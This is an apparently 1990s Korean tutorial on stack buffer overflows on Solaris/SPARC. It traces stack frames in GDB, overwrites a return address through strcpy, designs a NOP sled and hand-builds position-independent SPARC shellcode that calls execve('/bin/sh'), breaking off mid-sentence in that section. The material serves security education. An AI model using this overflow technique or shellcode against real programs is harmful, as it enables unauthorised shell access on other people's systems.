[Image] CERT, BugTraq 그외 vendor들의 report를 보면 최근에 Overflow유형의 bug가 상당수를 차지하는 것을 볼 수 있다. 이들 overflow bug들은 이미 오래전부터 발견되어온 것이지만, 이렇게 본격적으로 나서게 된 것은 그리 오래되지 않았다. 얼마전 Phrack magazine 49호에 Aleph One이라는 사람이 이 overflow bug를 분석하여 올린 이후로는 상당수의 bug가 나타나고 있다. 그렇다면 이 overflow bug는 어떻게 해서 등장하게 되었는지 그 내용에 대해서 알아보도록 한다. 1. Overflow bug의 원조? In the fingerd attack, it tries to infiltrate systems via a bug in fingerd, the finger daemon. Apparently this is where most of its success was (not in sendmail, as was originally reported). When fingerd is connected to, it reads its arguments from a pipe, but doesn't limit how much it reads. If it reads more than the internal 512-byte buffer allowed, it writes past the end of its stack. After the stack is a command to be executed ("/usr/ucb/finger") that actually does the work. On a VAX, the worm knew how much further from the stack it had to clobber to get to this command, which it replaced with the command "/bin/sh" (the Bourne shell). So instead of the finger command being executed, a shell was started with no arguments. Since this is run in the context of the finger daemon, stdin and stdout are connected to the network socket, and all the files were sucked over just like the shell that sendmail provided. Overflow bug의 원조는 아마 Morris Worm사건때 사용되었던 fingerd attack이었을 것이다. 이 worm은 finger에서 512 byte의 buffer를 쓰는 것을 이용, 그 이상의 데이터를 전송하여 finger가 /bin/sh을 수행할 수 있도록 한 것이다. 당시 Morris Worm사건은 보안 문제를 세상에 알린 중대한 사건이었다. 2. 그러면 overflow란 무엇인가? 아마 UNIX에서 C 프로그래밍을 한번이라도 해본 사람이라면, Segmentation Fault라는 말을 쉽게 접할 수 있었을 것이다. 이 에러만큼 정말 지독하게 debugging이 골아픈 것이 없을 것이다. 문제는 이것이 바로 stack overflow의 시작이라는 것이다. 다음 프로그램을 보자. void main(void) { int i; scanf("%d", i); } 아마 한눈에 문제점을 발견한 사람이 많을 거라 여겨진다. scanf를 해서 i인자를 넘겨줄 때, i인자값이 바뀌어 돌아오려면 i는 주소가 가야한다. 그러나, 여기에 현재 i의 현재값이 들어가 있으므로, scanf한 값은 i의 자리에 들어가려 하지 않고 현재 i의 값을 주소로 판단하여 그 자리에 쓰려고 하게 된다. 이때 원하지 않는 다른 memory 부분을 접근하려 하게 되고 이때 error가 일어난다. 컴파일 상에서는 이 에러를 체크할 수 없다. 왜냐하면 컴파일하는 당시에는 이들 값이 어떻게 매겨질 지 알 수 없기 때문이다. 3. stack이란 무엇인가? Stack이 무엇인지 모르는 사람은 많지 않을 것이라 생각한다. Stack은 LIFO즉 나중에 들어온 것이 먼저 나간다는 개념을 가진 기억장소를 말한다. 그러나, 이 글에서 말하고자 하는 것은 이 stack이 아니다. UNIX에서 어떤 프로그램이 실행되는 때에는 메모리를 다음과 같은 구조로 사용을 한다. 사실은 유저의 입장에서 보는 메모리 구조로 가상주소공간(virtual memory space)이다. 이 형식은 COFF memory layout형태와 비슷한 형태이다. [Image] Text부분은 실행되는 프로세스의 프로그램이 들어있는 자리이다. 이 곳은 평상시에 Read-Only로 자리매김 되어서 이곳에 어떤 식으로든 data를 쓰려고 할 때 Segmentation Violation이 일어나게 된다. 중간에 위치한 Initialized data라는 것은 기존에 이미 설정되어 있는 data들, 그리고, static variable등의 일정한 자리를 가지는 것들이 위치하는 장소이다. printf("%d %s\n", x, y); 프로그램에 위와 같은 부분이 있다면 "%d %s"같은 것들은 이 부분에 들어가 위치 하고 있다가 필요한 때가 되면 가져다 쓰이게 된다. 그러면 stack은 무엇인가? stack은 임시로 기억되어야 하는 내용을 담는 부분이다. SP라는 register에 의해서, 그 위치가 자리 매김되며, 위 그림에 나타난 화살표대로 거꾸로 커나가는 메모리 region이다. 다음 프로그램을 예를 들어본다. int shit(int j) { int i; i = j * 4; return(i); } void main(void) { int i, j; j = 10; i = shit(j); printf("%d\n", i); } 위에 main에 쓰인 i, j 변수들은 모두 일시 기억장소이다. shit에 쓰인 i 또한 일시 기억 장소이다. 이 프로그램은 main에서 시작하여, shit을 불렀다가 main으로 돌아온다. 그러면 이들 값들은 어떤 방식으로 메모리에 저장되면서 계산이 될까? 일단 가상적으로 이들 변수들이 자리잡는 방법에 대해서 이야기 해보겠다. 먼저 main에서 i, j를 처리하기 위해서 integer크기의 방을 두개를 잡는다. (1) [Image] 그다음 shit이 call되면, shit에 있는 i, j자리가 잡힌다. (2) [Image] 그 이후, shit에서 계산이 끝나게 되면 shit의 i, j variable들은 더이상 필요가 없게 되고, 그리고 나면 다시 main에 i,j 만이 남는다. [Image] main마저 끝나면 i, j 마저 사라진다. ..... 위의 방식이 바로 프로세스에서 Stack이 자리 잡히는 방법이다. 이때 stack의 맨 상위를 SP register가 가르키게 된다. 4. 예) solaris/SPARC code 이 글에서는 일종의 CASE STUDY로 solaris/SPARC code를 쓰기로 하겠다. 조만간 나타나겠지만, 이 부분은 machine code를 직접 사용하는 부분이므로, 각 OS마다 다른 점들이 존재한다. 현재 x86계열의 것들은 많이 나와 있는 상태이므로, solaris/SPARC code를 사용하기로 한다. solaris/SPARC assembly code가 다른 것과 가지는 차이점은 모든 instruction은 4byte크기로 일정하게 정해진다는 것이다. Intel x86계열의 명령어는 명령에 따라 명령어 크기가 가변적으로 변한다. 또한 다른 data등 모든 단위는 4byte계에 맞추어져 있다. 결국 memory에 존재하는 모든 것들은 전부 4byte단위로 쪼개져서 서로 겹치거나 충돌하는 것이 존재하지 않는다. 어떤 function이 불리워 질 때, (assembly로는 call명령이 된다), 그 address를 가지고 부른다. 그러면 적어도 불리워진 함수는 return address를 저장하고 있어야만 한다. 그래야만 그쪽 함수부분을 실행하다가 다시 원래 실행되던 자리로 돌아올 수 있기 때문이다. 이 return address는 stack region에 들어간다. 또한 stack region에 들어가 있어야 하는 것들에는 이 함수측에서 다른 함수를 call할 때 주는 인자들이다. 어딘가에는 저장을 하고 있어야만 하는 값이지만, 함수가 끝나고 나면 또한 쓸모 없는 값들이기 때문이다. 자 그러면 solaris/SPARC에서 어떤 방식으로 stack region을 잡는지 알아보도록 한다. 먼저 다음 프로그램을 보자. void shit(void) { } void main(void) { shit(); } 위 프로그램은 아무 일도 하지 않는 것이다. 단지 main에서 shit을 부르고 끝나는 프로그램이다. 이 프로그램을 GDB를 이용하여 다음과 같이 분석해 볼 수 있다. (gdb) disassemble main Dump of assembler code for function main: 0x10684
: save %sp, -112, %sp 0x10688 : call 0x10678 0x1068c : nop 0x10690 : ret 0x10694 : restore End of assembler dump. (gdb) disassemble shit Dump of assembler code for function shit: 0x10678 : save %sp, -112, %sp 0x1067c : ret 0x10680 : restore End of assembler dump. (gdb) 위에서 save %sp, -112, %sp명령은 현재 존재하는 sp값을 저장하고, sp를 현재 값에서 112만큼 빼라는 의미이다. stack은 higher memory에서 시작하여, 점점 lower memory로 올라오는 형태의 memory라고 했다. 그러므로, 112를 뺀다는 것은 stack region은 112만큼 추가한다는 의미가 된다. 그런데, 보면 main에도 112가, shit에도 112가 추가되었다. 양쪽의 차이점은 main에는 call이 있다는 것인데, 잡는 stack region은 동일하다. 그런 의미에서 stack region내에 return 값이 잡힌다고 가정할 수 있다. 여기서 갑자기 건너뛰는 것이 이상할 지 모르지만 긴 설명을 제하고 이 112byte에 대해서 설명하도록 하겠다. [Image] 위의 그림은 실제로 직접 GDB를 돌려가면서 찾아낸 stack memory map이다. 어떤 함수가 처음에 call이 되면, 그것은 대체로(!) 최소 112 byte를 stack region으로 잡는다. 이때 stack region은 위와 같이 잡히게 된다. 처음 32 byte다음, 24 byte는 이전의 function으로 부터 받아온 argument들을 담아두는 장소이다. 최대 6개까지 담는다. 그다음의 4byte는 sfp값으로, 이전 function의 sp값을 지닌다. 그다음의 4byte는 ret값으로, 이전 function에서 call되었던 주소를 지니고 있다. 함수가 실행되다가 끝나면 이 값을 이용해서 원래 함수로 돌아가게 되어있다. ret값은 stack overflow에서 가장 중요한 값이므로, 꼭 위치를 기억해 두길 바란다. 그다음 4byte다음에, 24 + 8*x라고 표현한 부분이 있는데, 이것은 이 함수에서 호출한 다른 함수에 전해주는 argument를 담는 부분이다. 원래 24byte가 할당되어 argument하나당 4byte씩 잡아주고 있으며, 최대 6개까지는 그냥 담고, 6개 이상의 argument를 넘겨주어야 하는 경우에는 8byte씩 가변적으로 늘려가면서 잡도록 되어 있다. 이 부분에 의해서 stack region이 112byte를 넘을 수 있다. 그다음 4byte후에 나타나는 8*y는 이 함수에서 쓰는 자동변수들을 위한 부분이다. 원래 전혀 할당되어 있지 않은데, 변수가 선언되면 그 만큼의 stack region을 추가하도록 되어 있다. size가 아무리 작아도 8byte를 기준으로 할당한다. 함수내에서 변수가 선언되는 만큼 이 부분이 늘어나기 때문에, stack region 112를 넘기는 주 원인이 된다. 여기에서 살펴볼 것은 인자가 6개 이상으로 구성되는 경우가 그다지 않지 않으므로, 112를 넘긴 스택 프레임 크기의 대부분은 이 자동변수 부분이라는 것이다. 언뜻 보아 넘겼을지 모르지만, 위 그림에서 맨 오른쪽에 보면 fp라는 것이 있는데, 이것은 frame pointer로 이 stack부분에서의 끝부분을 지정하고 있다. 한 함수에서 잡는 stack의 크기는 (fp - sp) byte가 된다. 자 그러면 위에 있는 예제 프로그램이 어떤 방식으로 memory에 들어갔을지 생각해 보도록 한다. main에서는 단지 shit을 call했을 뿐이었고, shit에서는 그냥 return만 하고 왔다. 그리고 두 함수 모두 112byte만을 할당하고 있다. 그러면 대략 memory map은 다음과 같이 구성될 것이다. [Image] 위의 그림은 shit이 실행될 당시의 map이며 main이 실행될 때는 shit부분의 stack은 존재하지 않는다(!). shit내의 ret에는 main에서 call되던 부분의 address가 들어있다. main내의 ret에는 main이 처음 call이 된 이전의 함수에서 실행되던 부분의 address가 들어있다. (사실 main함수또한 다른 함수와 마찬가지로 똑같이 return한다. 우리는 잘 알지 못하지만, main은 start()라는 함수에 의해서 불리워진다.) 그러면 실제로 메모리에 어떻게 잡히는지 GDB를 통해서 직접 알아보도록 한다. 다음은 GDB를 돌린 실제 예이다. (gdb) break shit ---------- Breakpoint 1 at 0x1067c: file a.c, line 2. %% 'break shit'으로 처음에 먼저 shit에서 일시 정지하도록 지정해놓는다. (gdb) run --- Starting program: /member/seoro/work/overflow-basics/a.out Breakpoint 1, shit () at a.c:2 2 {} %% 'run'을 입력하여 실행시키면 shit()부분에서 일시 정지하였다. (gdb) info reg sp fp -------------- sp 0xeffffca8 -268436312 fp 0xeffffd18 -268436200 %% info reg명령을 이용하여, sp와 fp의 값을 알아보니 각각 0xeffffca8과 0xeffffd18로 잡혀 있다. (gdb) x/wx 0xeffffca8+60 ------------------ 0xeffffce4 <_end+8714356>: 0x00010688 %% x/wx 명령을 이용 sp에서 60만큼 떨어진 값(RET)을 조사하니 0x10688이었다. (gdb) x/wx 0xeffffca8+56 ------------------ 0xeffffce0 <_end+8714352>: 0xeffffd18 %% x/wx명령을 이용 sp에서 56만큼 떨어진 값(SFP)을 조사하니 0xeffffd18이다. (gdb) s --- main () at a.c:4 4 { shit(); } %% 한단계 더 수행하니 shit()을 빠져나와서 main으로 돌아왔다. (gdb) info reg fp sp -------------- fp 0xeffffd88 -268436088 sp 0xeffffd18 -268436200 %% sp 와 fp 값을 조사하니, 0xeffffd88과 0xeffffd18이었다. (gdb) disassemble main ---------------- Dump of assembler code for function main: 0x10684
: save %sp, -112, %sp 0x10688 : call 0x10678 0x1068c : nop 0x10690 : ret 0x10694 : restore End of assembler dump. (gdb) %% main을 disassemble하여 살펴보니 call이 불리워진 위치가 바로 0x10688로 위에서 찾아보았던 RET값과 일치하는 것을 볼 수 있다. 이제 위에서 대략 그려놓았었던 memory map에 실제 값을 넣어서 완성할 수 있게 되었다. 실제로 구한 sp, fp값과 ret값등을 추가하여 다음과 같이 변화시킬 수 있다. [Image] 5. Overflow는 어떻게 하는가? 이제 Overflow라는 개념을 알아보도록 한다. 백문이 불여일견이라고 한 프로그램을 가지고 설명해보도록 하겠다. void shit(char *in) { char ex[24]; strcpy(ex, in); } void main(void) { int i; char in[120]; for(i = 0; i < 120; i++) in[i] = 'a'; shit(in); } 위의 프로그램은 120byte짜리 크기의 in이라는 char배열에 'a'라는 문자를 모두 채운다. 그리고 나서 이것을 shit함수로 넘겨주고, shit함수에 24byte짜리의 char배열이 있는데, 이곳에 넘겨준 in이라는 char배열을 copy한다. 이제 위 프로그램의 수행될 때를 생각해보자. ex라는 배열은 24byte로 bound(!)되어 있고, in은 그것보다 훨씬 큰 120byte가 할당되어 있다. ex라는 곳에 in을 copy하면 어떻게 되는가? 답은 그냥 copy한다는 것이다. 문제는 여기에서 출발한다. 자, 위 프로그램을 컴파일하여 실행해보자. 어떻게 되는가? % gcc -g a.c % a.out 버스 오류(Bus Error) (메모리가 덤프됨) % 위 프로그램의 memory map을 그려보면 대강 다음과 같을 것이다. [Image] 아까 4장에서 보면, 기본적으로 stack region은 112 byte를 잡도록 되어 있었다. 이번 main함수에서는 int변수와 char 80byte변수 이렇게 두개를 선언하였으므로, 112 + 8(4) + 80 = 210 byte를 배정한다. int변수는 크기가 4byte이지만, 변수를 메모리에 잡을 때 기본이 8byte씩이므로, int변수를 위해서 8byte를 할당한다. shit은 ex변수가 24byte잡고 있으므로, 112 + 24 = 136 byte를 할당한다. 이제 위 프로그램과 비교해보자. ex라는 배열에 120byte의 내용을 덮어쓰게 되면 ex가 잡고 있는 24byte를 채우고, 그 뒤의 16byte를 채운다음, 나머지 80byte 그대로 main이 잡고 있는 stack영역에 복사되게 된다. [Image] ret가 위치한 부분이 main의 sp에서 60byte에 있었으므로, main의 ret값마저 밀리게 되고, main에 있는 ret값은 'a''a''a''a' 곧 0x61616161로 set이 된다. 그러면 shit함수를 빠져나와서 main으로 돌아온다음, main함수를 빠져나가려는 순간에 0x61616161로 가려고 하게 되므로, 이때 Segmentation Fault(혹은 Bus Error)에러가 나게 된다. 에러를 내는 것으로 만족하면 안된다. 이제 우리는 bound(!)되어 있는 배열을 strcpy등으로 bound checking을 하지 않고(!) 우리가 원하는 내용을 넣을 수 있다면 함수를 빠져 나간후 다음에 어느 address를 실행하도록 정할 수 있다(!)라는 사실을 알게 되었다. 이제는 우리가 원하는 code를 수행할 수 있도록 하는 일이 남아있다. 6. 한번더 검증을 해보자. 앞에서 우리는 bound되어 있는 배열을 overflow하는 방법에 대해서 알아보았다. 이제 우리는 overflow하는 크기를 조절함으로써 return address를 바꿀 수 있게 되었다. 어짜피 우리가 원하는 data를 넣을 수 있는 곳은 bound되어 있는 배열이라고 할 때 우리가 실행하고자 하는 프로그램 또한 bound된 배열안쪽일 수 밖에 없다. 다음 프로그램을 보자. #include #define TARGET_SIZE 200 #define PUT_SIZE 400 void shit(char *in) { char ex[TARGET_SIZE]; strcpy(ex, in); } u_long get_sp(void) { __asm__("mov %sp, %i0 \n"); } void main(argc, argv) int argc; char **argv; { u_char in[PUT_SIZE]; int i; u_long *ret_addr; /* return address에 존재하는 값 */ u_long *putaddr; /* return addrees를 넣어주기 위한 pointer변수 */ u_long a; /* 중간 계산을 위한 변수 */ int adder = 0; /* SP값으로 부터의 offset */ putaddr = in; if(argc > 1) adder = atoi(argv[1]); a = get_sp(); a += 112; a += adder; ret_addr = (u_long *) a; printf("return address : 0x%lx\n", *ret_addr); for(i = 0; i < PUT_SIZE / 4; i++) *(putaddr++) = ret_addr; shit(in); } 이제 프로그램이 복잡해져가기 시작한다. 정신을 차려야 할 때가 되었다. get_sp()라는 함수에서 부터 시작하자. get_sp()함수는 현재 SP값을 잡아내는 함수인데 이것은 Assembly code를 직접 Embed시켜서 만든 함수이다. *ret_addr는 pointer함수로 ret_addr는 우리가 지정하는 address를 가지며, *ret_addr에는 그 address에 들어있는 4byte값이 들어있게 된다. *putaddr라는 변수는 return address를 받아서 그 값을 in에 mapping하기 위한 것이다. 이제 위 프로그램이 하는 일에 대해서 알아보자. 처음에 argument갯수를 세어서 2 이상인 경우, 첫번째 argument값을 정수로 받아 들인다. 이 것을 adder에 넣는데, 나중에 offset으로 더해주는 값이다. 먼저 a에 현재의 SP값을 받는다. 그다음에 112를 더했는데, 이것을 이해하려면 이전에 설명했던 stack region에 대해서 다시한번 생각해 보아야 한다. get_sp()는 main()에서 불리워졌다. 그러면 main의 바로 위 region에 112byte를 할당하게 되는데, 그 과정에서 sp값을 112빼도록(!) 되어 있다. 그래야 stack이 잡힌 것이 되니까. 그러면 get_sp()에서 얻는 sp값은 main의 것이 아니라, get_sp()라는 함수내의 sp값이 되고, 이 값은 정확히 main으로 부터 112 차이가 나는 값이다. 그러므로, main의 sp는 구한 값 + 112 이 된다. 그다음에 a에 adder를 더하는데, 이것은 처음에 keyin으로 받는 첫번째 argument이다. 이것은 우리가 test하는데, 사용하기로 한다. 그런 후에 그 address 값을 ret_addr에 넣는다. 그러면 ret_addr는 그 address를 가지게 되며, *ret_addr에는 그 address에 들어있는 값(!)이 된다. 이제 debugging용으로 *ret_addr값을 출력한 후, 120 byte의 in 배열에, 받았던 *ret_addr값을 mapping해준다. 그리고, shit()를 call한다. 위의 프로그램은 overflow attack에서 한발 뒤로 물러선 것이다. memory mapping의 상태를 파악하고, return address를 실제로 밀어내고 있는지 여부를 살펴보기 위한 프로그램이다. 이제 실행결과를 보자. % a.out 56 ret address : 0xeffffda8 잘못된 명령(Illegal Instruction) (메모리가 덤프됨) % a.out 0 ret address : 0xef794060 잘못된 명령(Illegal Instruction) (메모리가 덤프됨) % a.out 60 ret address : 0x10688 % 처음에 56을 넣었을 때에는 그 위치가 main()의 stack region중 sfp값과 정확히(!) 일치한다. 이때 return address부분이 0xeffffda8로 지정이 되므로, 그쪽을 실행하고자 하는 상태에서 error가 났다. 0을 넣으면 sp자리에 있는 내용을 return address로 쓰려 하고, 그자리 또한 실행하고자 할 때 error가 난다. 그러나, 60을 주면, 그 위치는 정확히 main()의 stack region중에서 ret부분이 되므로, in 배열에는 ret에 있는 주소값으로 mapping되고, 그러면 ret값은 변화가 없게되고, 종료도 잘 되었다. 여기서 누군가 stack region에 대해서 의문을 가지게 될지도 모른다. main에서 get_sp()를 하고 난 후, shit()를 call했으므로, shit()의 region은 get_sp()의 위에 위치해야 되지 않느냐는 것이다. 그러나, 그것은 stack을 잘못 이해한 탓이다. 다음은 이 프로그램이 실행될 때 stack region의 변화이다. 처음에는 아무것도 없다가 main()이 실행되면서 다음과 같이 변한다. [Image] 그 후, get_sp()가 실행되면 다음과 같다. [Image] get_sp()가 실행이 끝나고 return이 되면(!) 다음과 같이 변한다. [Image] 그런 후에 shit()이 실행되기 시작하면 이제 이렇게 된다. [Image] 이것이 바로 stack이다. 그래서 get_sp()의 존재가 shit()함수에 영향을 미치지 않았다. 이제 정말로 exploit를 해보기로 하자. 7. Seed program은 어떤 형태이어야 하는가? 우리가 원하고자 하는 것은 overflow에 의한 shell의 실행이다. overflow로 할 수 있는 일은 다음에 실행할 주소를 지정하는 것이라고 했었다. 그렇다면 어떤 방식으로 shell을 생성할 수 있을까? 그것은 간단하다. 아래의 그림을 보며 생각해보자. [Image] 앞에서도 언급했지만, 우리가 일단은(!) 써먹을 수 있는 부분이 sub 프로그램 내의 string buffer이다. string buffer를 overflow시켜서 전 function의 ret를 바꾸어 원하는 장소를 실행할 수 있게 할 수 있다. 그러면 어떤 부분을 실행하게 해야 하는가 하는 것이 문제로 남아있다. 어짜피 우리가 건드릴 수 있는 부분이 string buffer라면 shell code도 string buffer안에 들어가야 한다. 그렇다면 ret 주소는 어디를 잡는 것이 좋은가? 그것은 string buffer의 맨 처음 부분을 가리키는 것이 좋을 것이다. 그러면 현재 상태에서의 string buffer가 가져야할 형태는 다음과 같다. [Image] 여기에서 한번을 더 생각해보자. buffer의 시작위치를 실제로 완벽하게 찾아내는 것은 쉽지 않은 일이고, 또한 여유분으로 그 자리는 약간 느슨하게 만드는것이 좋을 것이다. 그렇다면 어떤 방법이 있을까? 가장 간단한 방법은 "nop", 곧 no operation code를 넣는 방법이다. 그러면 nop자리에 걸리게 되면 자동으로 우리가 원하는 code를 실행할 수 있게 된다. 다음 그림은 NOP까지 고려한 string buffer의 모양이다. [Image] 어쨌든 shell code는 기계코드일 수 밖에 없으므로, shell code를 어셈블리로 만들어 본다. 먼저 다음코드를 컴파일 해보자. #include main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } 위 프로그램은 "/bin/sh"을 실행시키는 프로그램이다. 위 프로그램을 실행해보면 다음과 같은 결과를 얻는다. % gcc -static -g sh.c -o shass % shass $ 그렇다면 위 프로그램의 어셈블리 코드를 위에서 이야기한 shell code가 들어갈 부분에 넣는다면 shell을 띄울 수 있게 되는 것이다. 이제 위 프로그램의 어셈블리 코드를 확인해보자. arirang:/home/seoro/work/overflow-basics%gdb shass (gdb) disassemble main Dump of assembler code for function main: 0x10150
: save %sp, -120, %sp 0x10154 : sethi %hi(0x10000), %o1 0x10158 : or %o1, 0x3b8, %o0 0x1015c : st %o0, [ %fp + -24 ] 0x10160 : clr [ %fp + -20 ] 0x10164 : add %fp, -24, %o1 0x10168 : ld [ %fp + -24 ], %o0 0x1016c : clr %o2 0x10170 : call 0x1024c 0x10174 : nop 0x10178 : ret 0x1017c : restore End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 0x10254 : bcc 0x10268 <_mutex_lock> 0x10258 : sethi %hi(0x10000), %o5 0x1025c : or %o5, 0x278, %o5 ! 0x10278 <_cerror> 0x10260 : jmp %o5 0x10264 : nop End of assembler dump. (gdb) % 위에서 컴파일 할 당시 -static이라는 옵션을 주었는데, 이것을 주지 않으면 함께 link되는 execve에 관한 정보를 얻을 수 없다. execve의 어셈블리 코드를 보기 위해서, -static 옵션을 주었다. 위 프로그램은 sparc 어셈블리 코드로 어셈블리를 잘 모르는 사람들을 위해서 한 line씩 설명을 하겠다. 0x10150
: save %sp, -120, %sp 이것은 stack frame을 잡아주는 부분이다. 이 프로그램의 main에서는 120byte의 stack을 잡아주고 있다. 0x10154 : sethi %hi(0x10000), %o1 sethi명령은 주소를 지정할 때 주로 쓰이는 명령인데, 전채 32bit의 내용중에서 상위 22bit를 지정한다. 위명령에 의해서 %o1이라는 레지스터에 0x00010000이라는 값이 저장되었다. sethi명령으로는 상위 22bit밖에 지정을 할 수 없기 때문에 바로 다음에 or 명령으로 추가하는 것이 보통이다. 0x10158 : or %o1, 0x3b8, %o0 or명령은 그대로 OR연산을 하는 명령이다. sparc asembly 체계에서 세 인자를 가지면 첫번째, 두번째 인자는 계산되는 값이 되고, 마지막 인자에 저장하는 형태를 갖는다. 위의 연산은 sethi로 22bit을 받아놓은 %o1레지스터의 값에 0x3b8의 값을 더해서 %o0라는 레지스터에 값을 저장하고 있다. 결국, %o0레지스터에 들어가는 값은 0x10000 + 0x3b8 = 0x103b8이라는 값이 된다. 0x1015c : st %o0, [ %fp + -24 ] st 명령은 레지스터에 있는 값을 어떤 장소에 저장해주는 명령으로 %o0에 있는 값을 fp(frame pointer)로 부터 24만큼 떨어진 장소에 저장하라는 것이다. 0x10160 : clr [ %fp + -20 ] clr는 0으로 리셋하는 명령으로 fp로 부터 20떨어진 곳을 0로 만들었다. 0x10164 : add %fp, -24, %o1 이 명령은 위에서 말한 세인자 체계로 fp값에 24를 뺀것을 %o1에 저장하였다. 0x10168 : ld [ %fp + -24 ], %o0 아까 fp-24의 메모리 위치에 넣어두었던 0x103b8이라는 값 자체를 %o0에 로딩하는 명령이다. 0x1016c : clr %o2 %o2레지스터는 0으로 리셋되었다. 0x10170 : call 0x1024c 여기에서 드디어 execve함수를 call한다. 여기에서 자세히 보아 두어야 하는 것이 있다. 그것은 execve함수를 호출할 때 인자를 넘겨주는 방법이다. 원래의 C 프로그램에서 execve가 어떻게 호출되었는지 먼저 살펴보자. execve(name[0], name, NULL); 먼저 "/bin/sh"이라는 스트링이 들어있는 부분을 처음에 지정해 주고, 이 name이라는 전체 배열의 어드레스를 두번째로, 마지막은 NULL을 지정했다. 이것을 위 어셈블리 코드와 비교해보면 재미있는 사실을 알 수 있다. %o0가 첫번째 인자의 값을 가지고 있고, %o1이 두번째 인자를, %o2가 세번째 인자를 가지고 있다. 그렇게 하고 나서 execve를 call하였다. 그러면 이제 execve code를 살펴보자. 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 이 부분이 바로 execve의 정체이다. %g1레지스터에 0x3b라는 값을 배정하고, ta 8로 마치 x86계열에서의 int(인터럽트)명령처럼 이 서비스 루틴을 부르게 된다. 물론 각 인자는 %o0, %o1, %o2세곳에 들어있다. 그러면 실제로 우리가 필요한 부분을 따로 빼내어 살펴볼 수 있다. sethi %hi(0x10000), %o1 or %o1, 0x3b8, %o0 st %o0, [ %fp + -24 ] clr [ %fp + -20 ] add %fp, -24, %o1 ld [ %fp + -24 ], %o0 clr %o2 mov 0x3b, %g1 ta 8 단 중요한 것은 0x103b8의 위치에 "/bin/sh"이라는 string이 있다는 사실이다. 의심이 가면 한번 확인해보자. (gdb) x/bx 0x103b8 0x103b8 <_lib_version+8>: 0x2f (gdb) 0x103b9 <_lib_version+9>: 0x62 (gdb) 0x103ba <_lib_version+10>: 0x69 (gdb) 0x103bb <_lib_version+11>: 0x6e (gdb) 0x103bc <_lib_version+12>: 0x2f (gdb) 0x103bd <_lib_version+13>: 0x73 (gdb) 0x103be <_lib_version+14>: 0x68 (gdb) 0x103bf <_lib_version+15>: 0x00 (gdb) 0x2f는 Ascii로 '/'와 일치하고, 0x62는 Ascii로 b와 일치한다. 이런 식으로 match를 해보면 "/bin/sh\0"로 정확히 맞아떨어짐을 알 수 있다. 그러면 이제 고민 거리가 생긴다. 어떻게 "/bin/sh"이라는 string을 지정할 수 있느냐는 것이다. address를 지정하는 방법은 sethi/or등의 명령인데, 우리가 넣을 이 shell code는 수행중 어느위치에 들어갈지가 가변적이기 때문이다. 이제 편법(?)을 써서 이것을 가능하게 해보자. 8. 상대적인 위치에서도 동작이 가능하도록 한다. 앞절 까지 다룬 것은 overflow시킨 곳으로 shell을 띄우는 프로그램을 넣는 방식(!)인데, 코드 자체가 상대적인 위치를 갖는다는 점에서 문제점이 있었다. "/bin/sh"이라는 어떤 스트링 자체를 포인팅 할 수 있는 방법이 필요한데, 이것을 어드레싱할 방법이 없다는 것이 큰 문제이다. 어짜피 overflow되는 곳에 들어가는 것은 우리가 만든 seed 프로그램 밖에 없다고 생각할 때 seed안에서 처리할 수 밖에 없는 것은 당연한 일이다. 이제 레지스터를 이용하여, 이 /bin/sh이라는 것을 집어넣은 것에 대해서 생각해 보기로 하겠다. 어떻게든 /bin/sh을 메모리 상에 매핑을 해주어야 하므로, 쓰이지 않는 레지스터에 이 값을 저장하는 방법을 택한다. 한 레지스터 내에 들어가는 크기는 정확히 4 byte이므로, /bin/sh을 "/bin"과 "/sh\0"로 쪼갠다. 이것들을 쓰지 않는 레지스터 %l6과 %l7에 저장하는 명령을 생각하면 다음과 같다. 어짜피 한꺼번에 4byte를 레지스터에 넣는 방법이 없어서, sethi와 or을 겸용한 사실을 기억할 것이다. sethi는 상위 22bit를 채우는 기능을 담당하고 있다. 그렇다면 우리가 넣고자 하는 스트링 자체도 22bit와 나머지 10bit로 쪼개는 작업을 해야만 한다. "/bin" 은 16진수로 0x2f 62 f9 6e이다. 이것을 상위 22bit와 하위 10bit로 쪼개면 0x2f626800과 0x16e로 나뉜다. "/sh\0"을 16진수로 나타내면 0x2f 73 68 00 으로 정해지는데, 이것을 상위와 하위로 나누면 0x2f736800 과 0x000으로 쪼개진다. 자 그러면 이들 값을 레지스터에 저장하려면 다음과 같이 하면 된다. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %17 위의 두줄은 %16에 "/bin"이라는 스트링을 기억시킨 것이고, 아래 두줄은 %l7에 "/sh\0"이라는 스트링을 넣은 것이다. 상위 22bit는 sethi를 이용하였고, 하위 10bit는 or을 이용 이전에 sethi로 잡아 놓은 것에 나머지를 붙인 것이다. 이제 앞에서 execve(name[1], name, NULL); 을 할 때의 상황을 기억해야 한다. 첫번째 인자는 "/bin/sh"이 들어있는 위치를 가리키고, 두번째 인자는 이것을 가리킨 놈을 또 다시 가리키는 것이며, 세번째 인자는 그냥 0로 되어 있었다. 우리는 일단 상대적 위치 상에서 우리가 알고 있는 주소가 sp, fp뿐이므로, sp를 "/bin/sh" 스트링이 들어가는 위치로 정한다. 그리고, sp에 이들 스트링이 들어 있으므로, sp 위치 자체를 또한 메모리에 매핑해야 하는데, 이 위치는 "/bin/sh"스트링이 끝나는 바로 다음 위치로 정한다. 그러면 이 위치는 sp + 8이 된다. 그러면 이들 작업을 하는 어셈블리 루틴을 생각하면 다음과 같다. and %sp, %sp, %o0 %o0는 실제로 "/bin/sh"이 있는 위치를 찍어놓게 되므로, sp를 잡아 놓는다. %sp와 %sp를 곱하면 다시 %sp가 되므로, %o0에는 %sp값이 들어간다. add %sp, 8, %o1 %o1은 %sp에서 정확히 8 byte뒤를 찍어놓는다. 이 위치에는 나중에 "/bin/sh"이 있는 곳을 다시 표현하게 된다. xor %o2, %o2, %o2 %o2는 세번째 인자로 0이 들어가야 하므로, xor를 이용해서 0로 잡는다. add %sp, 0x10, %sp %sp를 현재 위치에서 정확히 16만큼 앞으로 이동한다. std %l6, [ %sp + -16 ] std는 더블 워드만큼을 저장하면서, %l6에서 %l7까지를 %sp에서 뒤로 16부분(전번의 sp위치)에 저장시킨다. 이 명령으로 이전의 %sp위치에 "/bin/sh"이 들어간다. st %sp, [ %sp + -8 ] 현재의 %sp값을 %o1이 가리킨 자리에 넣는다. clr [ %sp + -4 ] 그 뒤의 부분을 0으로 클리어 시킨다. 이제 위의 프로그램으로, %o0, %o1, %o2에 알맞은 값을 넣어주고, 성공적으로 